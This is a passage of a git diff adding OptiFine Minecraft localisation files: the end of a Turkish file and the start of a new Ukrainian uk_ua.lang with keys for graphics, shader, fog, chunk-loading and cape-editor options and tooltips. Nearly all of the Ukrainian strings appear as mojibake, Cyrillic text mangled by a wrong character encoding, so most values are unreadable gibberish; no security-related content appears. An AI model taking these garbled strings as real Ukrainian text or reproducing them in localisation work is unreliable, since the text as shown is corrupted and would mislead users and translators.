+of.options.CHAT_BACKGROUND.tooltip.1=Sohbet Arkaplanı +of.options.CHAT_BACKGROUND.tooltip.2= Varsayılan - Düzgün geniÅŸlik +of.options.CHAT_BACKGROUND.tooltip.3= Sıkışık - Metinle eÅŸ uzunlukta +of.options.CHAT_BACKGROUND.tooltip.4= Kapalı - Arkaplan yok + +of.options.CHAT_SHADOW=Chat Shadow +of.options.CHAT_SHADOW.tooltip.1=Sohbet gölgesi +of.options.CHAT_SHADOW.tooltip.2= Açık - Sohbet gölgesi kullan +of.options.CHAT_SHADOW.tooltip.3= Kapalı - Sohbet gölgesi kullanma diff --git a/src/assets/minecraft/optifine/lang/uk_ua.lang b/src/assets/minecraft/optifine/lang/uk_ua.lang new file mode 100644 index 00000000..712335f1 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/uk_ua.lang @@ -0,0 +1,762 @@ +#Translated by Cool_boy and HIKC +# Загальні +of.general.ambiguous=Ðевизначений +of.general.compact=Компактний +of.general.custom=КориÑтувацький +of.general.from=З +of.general.id=ID +of.general.max=МакÑимум +of.general.restart=ПерезапуÑк +of.general.smart=Розумно + +# ÐšÐµÑ€ÑƒÐ²Ð°Ð½Ð½Ñ +of.key.zoom=Приблизити + +# ÐŸÐ¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ +of.message.aa.shaders1=Ð—Ð³Ð»Ð°Ð´Ð¶ÑƒÐ²Ð°Ð½Ð½Ñ Ð½Ðµ ÑуміÑне з шейдерами. +of.message.aa.shaders2=Будь лаÑка, вимкніть шейдери щоб увімкнути цю функцію. + +of.message.af.shaders1=Ðнізотропна Ñ„Ñ–Ð»ÑŒÑ‚Ñ€Ð°Ñ†Ñ–Ñ Ð½Ðµ ÑуміÑна з шейдерами. +of.message.af.shaders2=Будь лаÑка, вимкніть шейдери щоб увімкнути цю функцію. + +of.message.fr.shaders1=Швидкий рендер не ÑуміÑний з шейдерами. +of.message.fr.shaders2=Будь лаÑка, вимкніть шейдери щоб увімкнути цю функцію. + +of.message.an.shaders1=3D ефект не ÑуміÑний з шейдерами. +of.message.an.shaders2=Будь, лаÑка, вимкніть шейдери щоб увімкнути цю функцію. + +of.message.shaders.aa1=Шейдери не ÑуміÑні зі згладжуваннÑм. +of.message.shaders.aa2=Будь лаÑка, вÑтановіть ЯкіÑÑ‚ÑŒ -> Ð—Ð³Ð»Ð°Ð´Ð¶ÑƒÐ²Ð°Ð½Ð½Ñ Ð½Ð° Вимк Ñ– перезапуÑÑ‚Ñ–Ñ‚ÑŒ гру. + +of.message.shaders.af1=Шейдери не ÑуміÑні з анізотропною фільтрацією. +of.message.shaders.af2=Будь лаÑка, вÑтановіть ЯкіÑÑ‚ÑŒ -> Ðнізотропна Ñ„Ñ–Ð»ÑŒÑ‚Ñ€Ð°Ñ†Ñ–Ñ Ð½Ð° Вимк Ñ– перезапуÑÑ‚Ñ–Ñ‚ÑŒ гру. + +of.message.shaders.fr1=Шейдери не ÑуміÑні зі швидким рендером. +of.message.shaders.fr2=Будь лаÑка, вÑтановіть ПродуктивніÑÑ‚ÑŒ -> Швидкий рендер на Вимк Ñ– перезапуÑÑ‚Ñ–Ñ‚ÑŒ гру. + +of.message.shaders.an1=Шейдери не ÑуміÑні з 3D анагліфом. +of.message.shaders.an2=Будь-лаÑка, вÑтановіть Інші -> 3D ефект на Вимк. + +of.message.shaders.nv1=Цей шейдерпак вимагає новішу верÑÑ–ÑŽ OptiFine: %s +of.message.shaders.nv2=Ви впевнені що бажаєте продовжити? + +of.message.newVersion=Ðова верÑÑ–Ñ Â§eOptiFine§f доÑтупна: §e%s§f +of.message.java64Bit=Ð’Ñтанови §e64-bit Java§f щоб покращити продуктивніÑÑ‚ÑŒ +of.message.openglError=§eOpenGL Error§f: %s (%s) + +of.message.shaders.loading=Завантажуємо шейдери: %s + +of.message.other.reset=Ð’Ñтановити вÑÑ– Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð½Ð° їхні початкові значеннÑ? + +of.message.loadingVisibleChunks=Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÑƒÐ²Ð°Ð½Ð½Ñ Ð²Ð¸Ð´Ð¸Ð¼Ð¸Ñ… чанків + +# ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñкіна + +of.options.skinCustomisation.ofCape=Плащ OptiFine... + +of.options.capeOF.title=Плащ +of.options.capeOF.openEditor=Редактор плаща +of.options.capeOF.reloadCape=Перезавантажити плащ +of.options.capeOF.copyEditorLink=Копіювати поÑÐ¸Ð»Ð°Ð½Ð½Ñ + +of.message.capeOF.openEditor=Редактор плаща OptiFine відкриєтÑÑ Ñƒ браузері. +of.message.capeOF.openEditorError=Помилка під Ñ‡Ð°Ñ Ð²Ñ–Ð´ÐºÑ€Ð¸Ñ‚Ñ‚Ñ Ñƒ браузері! +of.message.capeOF.reloadCape=Ваш плащ перезавантажитьÑÑ Ð·Ð° 15 Ñекунд. + +of.message.capeOF.error1=ÐÑƒÑ‚ÐµÐ½Ñ‚Ð¸Ñ„Ñ–ÐºÐ°Ñ†Ñ–Ñ Ð½Ðµ вдалаÑÑ. +of.message.capeOF.error2=Помилка: %s + +# ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð³Ñ€Ð°Ñ„Ñ–ÐºÐ¸ + +options.graphics.tooltip.1=ЯкіÑÑ‚ÑŒ графіки +options.graphics.tooltip.2= Швидка - низька ÑкіÑÑ‚ÑŒ, швидше +options.graphics.tooltip.3= КраÑива - виÑока ÑкіÑÑ‚ÑŒ, повільніше +options.graphics.tooltip.4=Змінює зовнішній виглÑд хмар, лиÑÑ‚Ñ Ð²Ð¾Ð´Ð¸ +options.graphics.tooltip.5=тіней Ñ– Ñторін трави. + +of.options.renderDistance.tiny=Маленька +of.options.renderDistance.short=Коротка +of.options.renderDistance.normal=Ðормальна +of.options.renderDistance.far=Далека +of.options.renderDistance.extreme=ЕкÑтремальна +of.options.renderDistance.insane=Шалена +of.options.renderDistance.ludicrous=Безглузда! + +options.renderDistance.tooltip.1=Видима відÑтань +options.renderDistance.tooltip.2= 2 Маленька - 32м (найшвидше) +options.renderDistance.tooltip.3= 8 Ðормальна - 128м (нормальна) +options.renderDistance.tooltip.4= 16 Далека - 256м (повільніше) +options.renderDistance.tooltip.5= 32 Ðадзвичайна - 512м (найповільніше!) потребує багато реÑурÑів +options.renderDistance.tooltip.6= 48 Шалена - 768m, потребує 2GB оперативної пам'ÑÑ‚Ñ– +options.renderDistance.tooltip.7= 64 Безглузда - 1024m, потребує 3GB оперативної пам'ÑÑ‚Ñ– +options.renderDistance.tooltip.8= Ð—Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ Ð±Ñ–Ð»ÑŒÑˆÐµ ніж 16 ефективні лише Ð´Ð»Ñ Ð»Ð¾ÐºÐ°Ð»ÑŒÐ½Ð¸Ñ… Ñвітів. + +options.ao.tooltip.1=Ðœ'Ñке оÑÐ²Ñ–Ñ‚Ð»ÐµÐ½Ð½Ñ +options.ao.tooltip.2= Вимк - без м'Ñкого оÑÐ²Ñ–Ñ‚Ð»ÐµÐ½Ð½Ñ (Швидка) +options.ao.tooltip.3= Мінімум - проÑте м'Ñке оÑÐ²Ñ–Ñ‚Ð»ÐµÐ½Ð½Ñ (повільніше) +options.ao.tooltip.4= МакÑимум - комплекÑне м'Ñке оÑÐ²Ñ–Ñ‚Ð»ÐµÐ½Ð½Ñ (дуже повільно) + +options.framerateLimit.tooltip.1=МакÑимальна швидкіÑÑ‚ÑŒ передачі кадрів +options.framerateLimit.tooltip.2= VSync - ліміт до макÑимальної кількоÑÑ‚Ñ– кадрів монітора (60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - змінні +options.framerateLimit.tooltip.4= Ðеобмежено - без ліміту (Ðайшвидше) +options.framerateLimit.tooltip.5=Гранична чаÑтота зміни кадрів зменшує FPS навіть Ñкщо +options.framerateLimit.tooltip.6=Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ Ð»Ñ–Ð¼Ñ–Ñ‚Ñƒ не доÑÑгнуто. +of.options.framerateLimit.vsync=VSync + +of.options.AO_LEVEL=Рівень м'Ñкого оÑÐ²Ñ–Ñ‚Ð»ÐµÐ½Ð½Ñ +of.options.AO_LEVEL.tooltip.1=Рівень м'Ñкого оÑÐ²Ñ–Ñ‚Ð»ÐµÐ½Ð½Ñ +of.options.AO_LEVEL.tooltip.2= Вимк - без тіней +of.options.AO_LEVEL.tooltip.3= 50%% - легкі тіні +of.options.AO_LEVEL.tooltip.4= 100%% - темні тіні + +options.viewBobbing.tooltip.1=РеаліÑтичний рух +options.viewBobbing.tooltip.2=При викориÑтанні міпмапів вÑтановіть його в Ð¿Ð¾Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ Ð’Ð¸Ð¼Ðº Ð´Ð»Ñ Ð´Ð¾ÑÑÐ³Ð½ÐµÐ½Ð½Ñ Ð½Ð°Ð¹ÐºÑ€Ð°Ñ‰Ð¸Ñ… результатів. + +options.guiScale.tooltip.1=Розмір GUI +options.guiScale.tooltip.2= Ðвто - макÑимальний розмір +options.guiScale.tooltip.3= Малий, Ðормальний, Великий - 1x до 3x +options.guiScale.tooltip.4= 4x до 10x - доÑтупні на 4K диÑплеÑÑ… +options.guiScale.tooltip.5=Ðепарні Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ (1x, 3x, 5x ...) не підтримуютьÑÑ ÑŽÐ½Ñ–ÐºÐ¾Ð´Ð¾Ð¼. +options.guiScale.tooltip.6=Менший GUI швидший. + +options.vbo=ВикориÑтовувати VBO +options.vbo.tooltip.1=Об'єкти буфера вершин +options.vbo.tooltip.2=ВикориÑтовує альтернативну технологію рендерингу, що зазвичай +options.vbo.tooltip.3=швидше (5-10%%) чим проÑтий рендер. + +options.gamma.tooltip.1=Зменшує ÑÑкравіÑÑ‚ÑŒ темніших об'єктів +options.gamma.tooltip.2= Похмурий - Стандартна ÑÑкравіÑÑ‚ÑŒ +options.gamma.tooltip.3= 1-99%% - змінні +options.gamma.tooltip.4= ЯÑкраво - макÑимальна ÑÑкравіÑÑ‚ÑŒ темних об'єктів +options.gamma.tooltip.5=Ð¦Ñ Ð¾Ð¿Ñ†Ñ–Ñ Ð½Ðµ змінює ÑÑкравіÑÑ‚ÑŒ +options.gamma.tooltip.6=повніÑÑ‚ÑŽ чорних об'єктів + +options.anaglyph.tooltip.1=3D анагліф +options.anaglyph.tooltip.2=Вмикає ÑтереоÑкопічний 3D ефекти викориÑтовуючи різні кольори +options.anaglyph.tooltip.3=Ð´Ð»Ñ ÐºÐ¾Ð¶Ð½Ð¾Ð³Ð¾ ока. +options.anaglyph.tooltip.4=Потребує червоно-Ñині окулÑри Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ³Ð»Ñду. + +options.attackIndicator.tooltip.1=Ðалаштовує позицію індикатора атаки +options.attackIndicator.tooltip.2= ХреÑтовина - під хреÑтовиною +options.attackIndicator.tooltip.3= Хотбар - коло хотбару +options.attackIndicator.tooltip.4= Вимк - без індикатора атаки +options.attackIndicator.tooltip.5=Індикатор атаки показує Ñилу атаки +options.attackIndicator.tooltip.6=обраного предмета + +of.options.ALTERNATE_BLOCKS=Ðльтернативні блоки +of.options.ALTERNATE_BLOCKS.tooltip.1=Ðльтернативні блоки +of.options.ALTERNATE_BLOCKS.tooltip.2=ВикориÑтовує альтернативні моделі Ð´Ð»Ñ Ð´ÐµÑких блоків. +of.options.ALTERNATE_BLOCKS.tooltip.3=БазуєтьÑÑ Ð½Ð° обраному реÑурÑпаці. + +of.options.FOG_FANCY=Туман +of.options.FOG_FANCY.tooltip.1=Тип туману +of.options.FOG_FANCY.tooltip.2= Швидкий - Швидкий туман +of.options.FOG_FANCY.tooltip.3= КраÑивий - Повільніший туман, виглÑдає краще +of.options.FOG_FANCY.tooltip.4= Вимк - без туману, найшвидше +of.options.FOG_FANCY.tooltip.5=КраÑивий туман буде доÑтупний лиш тоді, коли +of.options.FOG_FANCY.tooltip.6=його підтримує відеокарта. + +of.options.FOG_START=ПоÑва туману +of.options.FOG_START.tooltip.1=ПоÑва туману +of.options.FOG_START.tooltip.2= 0.2 - туман з'ÑвлÑєтьÑÑ Ð½ÐµÐ´Ð°Ð»ÐµÐºÐ¾ від Ð³Ñ€Ð°Ð²Ñ†Ñ +of.options.FOG_START.tooltip.3= 0.8 - туман з'ÑвлÑєтьÑÑ Ð´Ð°Ð»ÐµÐºÐ¾ від Ð³Ñ€Ð°Ð²Ñ†Ñ +of.options.FOG_START.tooltip.4=Ð¦Ñ Ð¾Ð¿Ñ†Ñ–Ñ Ð·Ð°Ð·Ð²Ð¸Ñ‡Ð°Ð¹ не зменшує продуктивніÑÑ‚ÑŒ. + +of.options.CHUNK_LOADING=Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ñ‡Ð°Ð½ÐºÑ–Ð² +of.options.CHUNK_LOADING.tooltip.1=Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ñ‡Ð°Ð½ÐºÑ–Ð² +of.options.CHUNK_LOADING.tooltip.2= Базове - неÑтабільне FPS коли завантажуєтьÑÑ Ñ‡Ð°Ð½Ðº +of.options.CHUNK_LOADING.tooltip.3= Згладжене - Ñтабільне FPS +of.options.CHUNK_LOADING.tooltip.4= Multi-Core - Ñтабільне FPS, 3x швидше Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ñвіту +of.options.CHUNK_LOADING.tooltip.5=Згладжене Ñ– Multi-Core видалÑÑŽÑ‚ÑŒ Ð·Ð°Ñ—ÐºÐ°Ð½Ð½Ñ Ñ‚Ð° +of.options.CHUNK_LOADING.tooltip.6=фрізи Ñпричинені завантаженнÑм чанків. +of.options.CHUNK_LOADING.tooltip.7=Multi-Core може збільшити до 3 разів швидкіÑÑ‚ÑŒ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ñвіту +of.options.CHUNK_LOADING.tooltip.8=збільшуючи FPS завдÑки викориÑтанню другого Ñдра процеÑора. +of.options.chunkLoading.smooth=Згладжене +of.options.chunkLoading.multiCore=Multi-Core + +of.options.shaders=Шейдери... +of.options.shadersTitle=Шейдери + +of.options.shaders.packNone=Вимк +of.options.shaders.packDefault=(внутрішній) + +of.options.shaders.ANTIALIASING=Ð—Ð³Ð»Ð°Ð´Ð¶ÑƒÐ²Ð°Ð½Ð½Ñ +of.options.shaders.ANTIALIASING.tooltip.1=Ð—Ð³Ð»Ð°Ð´Ð¶ÑƒÐ²Ð°Ð½Ð½Ñ +of.options.shaders.ANTIALIASING.tooltip.2= Вимк - (базово) без Ð·Ð³Ð»Ð°Ð´Ð¶ÑƒÐ²Ð°Ð½Ð½Ñ (швидше) +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - згладжені лінії та краї (повільніше) +of.options.shaders.ANTIALIASING.tooltip.4=FXAA це поÑÑ‚-ефект Ñкий згладжує +of.options.shaders.ANTIALIASING.tooltip.5=гоÑтрі краї та різкі зміни кольорів. +of.options.shaders.ANTIALIASING.tooltip.6=Це швидше ніж традиційне Ð·Ð³Ð»Ð°Ð´Ð¶ÑƒÐ²Ð°Ð½Ð½Ñ +of.options.shaders.ANTIALIASING.tooltip.7=Ñ– працює із Швидким Рендером. + +of.options.shaders.NORMAL_MAP=Ðормальна мапа +of.options.shaders.NORMAL_MAP.tooltip.1=Ðормальна мапа +of.options.shaders.NORMAL_MAP.tooltip.2= Увімк - (базово) дозволити нормальні мапи +of.options.shaders.NORMAL_MAP.tooltip.3= Вимк - вимкнути нормальні мапи +of.options.shaders.NORMAL_MAP.tooltip.4=Шейдер викориÑтовує нормальні мапи +of.options.shaders.NORMAL_MAP.tooltip.5=щоб Ñимулювати 3D геометрію на плоÑких моделÑÑ…. +of.options.shaders.NORMAL_MAP.tooltip.6=Ðормальна мапа вÑтановлюєтьÑÑ +of.options.shaders.NORMAL_MAP.tooltip.7=обраним шейдером. + +of.options.shaders.SPECULAR_MAP=Дзеркальна мапа +of.options.shaders.SPECULAR_MAP.tooltip.1=Дзеркальна мапа +of.options.shaders.SPECULAR_MAP.tooltip.2= Увімк - (базово) увімкнути дзеркальні мапи +of.options.shaders.SPECULAR_MAP.tooltip.3= Вимк - вимкнути дзеркальні мапи +of.options.shaders.SPECULAR_MAP.tooltip.4=Шейдер викориÑтовує дзеркальні мапи +of.options.shaders.SPECULAR_MAP.tooltip.5=щоб Ñимулювати віддзеркаленнÑ. +of.options.shaders.SPECULAR_MAP.tooltip.6=Дзеркальна мапа вÑтановлюєтьÑÑ +of.options.shaders.SPECULAR_MAP.tooltip.7=обраним шейдером. + +of.options.shaders.RENDER_RES_MUL=ЯкіÑÑ‚ÑŒ рендеру +of.options.shaders.RENDER_RES_MUL.tooltip.1=ЯкіÑÑ‚ÑŒ рендеру +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - низька (швидка) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - Ñтандартна (базова) +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - виÑока (повільна) +of.options.shaders.RENDER_RES_MUL.tooltip.5=ЯкіÑÑ‚ÑŒ рендеру контролює розмір текÑтури +of.options.shaders.RENDER_RES_MUL.tooltip.6=Ñкі шейдер викориÑтовує. +of.options.shaders.RENDER_RES_MUL.tooltip.7=Ðизька ÑкіÑÑ‚ÑŒ буде кориÑна Ð´Ð»Ñ 4K диÑплеїв. +of.options.shaders.RENDER_RES_MUL.tooltip.8=ВиÑока ÑкіÑÑ‚ÑŒ працює Ñк згладжуваннÑ. + +of.options.shaders.SHADOW_RES_MUL=ЯкіÑÑ‚ÑŒ тіней +of.options.shaders.SHADOW_RES_MUL.tooltip.1=ЯкіÑÑ‚ÑŒ тіней +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - низька (швидка) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - Ñтандартна (базова) +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - виÑока (повільна) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=ЯкіÑÑ‚ÑŒ тіней контролює розмір текÑтури +of.options.shaders.SHADOW_RES_MUL.tooltip.6=тіней Ñку викориÑтовує шейдер. +of.options.shaders.SHADOW_RES_MUL.tooltip.7=Ðизька ÑкіÑÑ‚ÑŒ = неточні, грубі тіні. +of.options.shaders.SHADOW_RES_MUL.tooltip.8=ВиÑока ÑкіÑÑ‚ÑŒ = точні, краÑиві тіні. + +of.options.shaders.HAND_DEPTH_MUL=Глибина руки +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=Глибина руки +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - рука коло камери +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - (базово) +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - рука далеко від камери +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=Глибина руки контролює наÑкільки далеко +of.options.shaders.HAND_DEPTH_MUL.tooltip.6=знаходÑÑ‚ÑŒÑÑ Ð¿Ñ€ÐµÐ´Ð¼ÐµÑ‚Ð¸ в руці від камери. +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=Ð”Ð»Ñ ÑˆÐµÐ¹Ð´ÐµÑ€Ñ–Ð² з глибоким розмиттÑм це змінить +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=Ñ€Ð¾Ð·Ð¼Ð¸Ñ‚Ñ‚Ñ Ð¿Ñ€ÐµÐ´Ð¼ÐµÑ‚Ñ–Ð² в руці. + +of.options.shaders.CLOUD_SHADOW=Тіні від хмар + +of.options.shaders.OLD_HAND_LIGHT=Старе оÑвітл. руки +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=Старе оÑÐ²Ñ–Ñ‚Ð»ÐµÐ½Ð½Ñ Ñ€ÑƒÐºÐ¸ +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= Стандартне - залежить від шейдера +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= Увімк - викориÑтовувати Ñтаре +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= Вимк - викориÑтовувати нове +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=Це дозволÑÑ” шейдерам Ñкі працюють лише з +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=оÑвітленнÑм в оÑновній руці працювати з +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=речами в другій. + +of.options.shaders.OLD_LIGHTING=Старе оÑÐ²Ñ–Ñ‚Ð»ÐµÐ½Ð½Ñ +of.options.shaders.OLD_LIGHTING.tooltip.1=Старе оÑÐ²Ñ–Ñ‚Ð»ÐµÐ½Ð½Ñ +of.options.shaders.OLD_LIGHTING.tooltip.2= Стандартне - залежить від шейдера +of.options.shaders.OLD_LIGHTING.tooltip.3= Увімк - викориÑтовувати Ñтаре +of.options.shaders.OLD_LIGHTING.tooltip.4= Вимк - не викориÑтовувати Ñтаре +of.options.shaders.OLD_LIGHTING.tooltip.5=Старе оÑÐ²Ñ–Ñ‚Ð»ÐµÐ½Ð½Ñ ÐºÐ¾Ð½Ñ‚Ñ€Ð¾Ð»ÑŽÑ” фікÑовану базову +of.options.shaders.OLD_LIGHTING.tooltip.6=оÑвітленіÑÑ‚ÑŒ Ñторони блока. +of.options.shaders.OLD_LIGHTING.tooltip.7=Шейдери зазвичай надають краще оÑÐ²Ñ–Ñ‚Ð»ÐµÐ½Ð½Ñ Ð² +of.options.shaders.OLD_LIGHTING.tooltip.8=залежноÑÑ‚Ñ– від позиції ÑонцÑ. + +of.options.shaders.DOWNLOAD=Завантажити Шейдери +of.options.shaders.DOWNLOAD.tooltip.1=Завантажити шейдери +of.options.shaders.DOWNLOAD.tooltip.2= +of.options.shaders.DOWNLOAD.tooltip.3=Відкриває Ñторінку зі ÑпиÑком шейдерпаків. +of.options.shaders.DOWNLOAD.tooltip.4=ПеренеÑÑ–Ñ‚ÑŒ шейдери у теку shaderpacks Ñ– вони +of.options.shaders.DOWNLOAD.tooltip.5=з'ÑвлÑÑ‚ÑŒÑÑ Ñƒ ÑпиÑку вÑтановлених шейдерів. + +of.options.shaders.SHADER_PACK=Шейдерпак + +of.options.shaders.shadersFolder=Папка з шейдерами +of.options.shaders.shaderOptions=ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ ÑˆÐµÐ¹Ð´ÐµÑ€Ñ–Ð²... + +of.options.shaderOptionsTitle=ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ ÑˆÐµÐ¹Ð´ÐµÑ€Ñ–Ð² + +of.options.quality=ЯкіÑÑ‚ÑŒ... +of.options.qualityTitle=ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ ÑкоÑÑ‚Ñ– + +of.options.details=Деталі... +of.options.detailsTitle=ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð´ÐµÑ‚Ð°Ð»ÐµÐ¹ + +of.options.performance=ПродуктивніÑÑ‚ÑŒ... +of.options.performanceTitle=ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð¿Ñ€Ð¾Ð´ÑƒÐºÑ‚Ð¸Ð²Ð½Ð¾ÑÑ‚Ñ– + +of.options.animations=Ðнімації... +of.options.animationsTitle=ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð°Ð½Ñ–Ð¼Ð°Ñ†Ñ–Ñ— + +of.options.other=Інші... +of.options.otherTitle=Інші Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ + +of.options.other.reset=Скинути вÑÑ– налаштуваннÑ... + +of.shaders.profile=Профіль + +# ЯкіÑÑ‚ÑŒ + +of.options.mipmap.bilinear=Білінійна +of.options.mipmap.linear=Лінійна +of.options.mipmap.nearest=Ðайближча +of.options.mipmap.trilinear=Трилінійна + +options.mipmapLevels.tooltip.1=Візуальний ефект Ñкий змушує далекі об'єкти виглÑдати краще +options.mipmapLevels.tooltip.2=розмиваючи деталі текÑтур +options.mipmapLevels.tooltip.3= Вимк - без Ð·Ð³Ð»Ð°Ð´Ð¶ÑƒÐ²Ð°Ð½Ð½Ñ +options.mipmapLevels.tooltip.4= 1 - мінімальне Ð·Ð³Ð»Ð°Ð´Ð¶ÑƒÐ²Ð°Ð½Ð½Ñ +options.mipmapLevels.tooltip.5= МакÑимум - макÑимальне Ð·Ð³Ð»Ð°Ð´Ð¶ÑƒÐ²Ð°Ð½Ð½Ñ +options.mipmapLevels.tooltip.6=Ð¦Ñ Ð¾Ð¿Ñ†Ñ–Ñ Ð·Ð°Ð·Ð²Ð¸Ñ‡Ð°Ð¹ не впливає на продуктивніÑÑ‚ÑŒ. + +of.options.MIPMAP_TYPE=Тип Міпмап +of.options.MIPMAP_TYPE.tooltip.1=Візуальний ефект Ñкий змушує далекі об'єкти виглÑдати краще +of.options.MIPMAP_TYPE.tooltip.2=розмиваючи деталі текÑтур +of.options.MIPMAP_TYPE.tooltip.3= Ðайближчий - грубе Ð·Ð³Ð»Ð°Ð´Ð¶ÑƒÐ²Ð°Ð½Ð½Ñ (найшвидша) +of.options.MIPMAP_TYPE.tooltip.4= Лінійне - нормальне Ð·Ð³Ð»Ð°Ð´Ð¶ÑƒÐ²Ð°Ð½Ð½Ñ +of.options.MIPMAP_TYPE.tooltip.5= Білінійне - краще Ð·Ð³Ð»Ð°Ð´Ð¶ÑƒÐ²Ð°Ð½Ð½Ñ +of.options.MIPMAP_TYPE.tooltip.6= Трилінійне - найкраще Ð·Ð³Ð»Ð°Ð´Ð¶ÑƒÐ²Ð°Ð½Ð½Ñ (повільніше) + + +of.options.AA_LEVEL=Ð—Ð³Ð»Ð°Ð´Ð¶ÑƒÐ²Ð°Ð½Ð½Ñ +of.options.AA_LEVEL.tooltip.1=Ð—Ð³Ð»Ð°Ð´Ð¶ÑƒÐ²Ð°Ð½Ð½Ñ +of.options.AA_LEVEL.tooltip.2= Вимк - (базове) без Ð·Ð³Ð»Ð°Ð´Ð¶ÑƒÐ²Ð°Ð½Ð½Ñ (швидке) +of.options.AA_LEVEL.tooltip.3= 2-16 - згладжує лінії та границі (повільніше) +of.options.AA_LEVEL.tooltip.4=Ð—Ð³Ð»Ð°Ð´Ð¶ÑƒÐ²Ð°Ð½Ð½Ñ Ñ€Ð¾Ð·Ð¼Ð¸Ð²Ð°Ñ” зазубрені границі й +of.options.AA_LEVEL.tooltip.5=гоÑтрі зміни кольору. +of.options.AA_LEVEL.tooltip.6=Коли увімкнуто, то по Ñуті зменшує FPS. +of.options.AA_LEVEL.tooltip.7=Ðе вÑÑ– рівні підтримуютьÑÑ Ñ€Ñ–Ð·Ð½Ð¸Ð¼Ð¸ відеокартами. +of.options.AA_LEVEL.tooltip.8=Ефективне піÑÐ»Ñ ÐŸÐ•Ð Ð•Ð—ÐПУСКУ! + +of.options.AF_LEVEL=Ðнізотропна Ñ„Ñ–Ð»ÑŒÑ‚Ñ€Ð°Ñ†Ñ–Ñ +of.options.AF_LEVEL.tooltip.1=Ðнізотропна Ñ„Ñ–Ð»ÑŒÑ‚Ñ€Ð°Ñ†Ñ–Ñ +of.options.AF_LEVEL.tooltip.2= Вимк - (базово) Ñтандартна деталь текÑтури (швидка) +of.options.AF_LEVEL.tooltip.3= 2-16 - кращі деталі в Міпмап текÑтурах (повільніше) +of.options.AF_LEVEL.tooltip.4=Ðнізотропна Ñ„Ñ–Ð»ÑŒÑ‚Ñ€Ð°Ñ†Ñ–Ñ Ð²Ñ–Ð´Ð½Ð¾Ð²Ð»ÑŽÑ” деталі в +of.options.AF_LEVEL.tooltip.5=Міпмап текÑтурах. +of.options.AF_LEVEL.tooltip.6=Коли ввімкнуто, зменшує FPS. + +of.options.CLEAR_WATER=ЧиÑта вода +of.options.CLEAR_WATER.tooltip.1=ЧиÑта вода +of.options.CLEAR_WATER.tooltip.2= Увімк - чиÑта, прозора вода +of.options.CLEAR_WATER.tooltip.3= Вимк - Ñтандартна вода + +of.options.RANDOM_ENTITIES=Випадкові Ñ–Ñтоти +of.options.RANDOM_ENTITIES.tooltip.1=Випадкові текÑтури Ð´Ð»Ñ Ñ–Ñтот +of.options.RANDOM_ENTITIES.tooltip.2= Вимк - лише одна текÑтура, швидше +of.options.RANDOM_ENTITIES.tooltip.3= Увімк - випадкові текÑтури, повільніше +of.options.RANDOM_ENTITIES.tooltip.4=Ð¦Ñ Ñ„ÑƒÐ½ÐºÑ†Ñ–Ñ Ð´Ð¾Ð·Ð²Ð¾Ð»ÑÑ” викориÑтовувати різні текÑтури Ð´Ð»Ñ Ð¾Ð´Ð½Ñ–Ñ”Ñ— Ñ–Ñтоти. +of.options.RANDOM_ENTITIES.tooltip.5=ЗадаєтьÑÑ Ñ€ÐµÑурÑпаком з різними текÑтурами Ð´Ð»Ñ Ð¾Ð´Ð½Ñ–Ñ”Ñ— Ñ–Ñтоти (моба). + +of.options.BETTER_GRASS=Краща трава +of.options.BETTER_GRASS.tooltip.1=Краща трава +of.options.BETTER_GRASS.tooltip.2= Вимк - базова текÑтура блока трави, швидше +of.options.BETTER_GRASS.tooltip.3= Швидка - зелена бокова текÑтура блока трави, повільніше +of.options.BETTER_GRASS.tooltip.4= КраÑива - 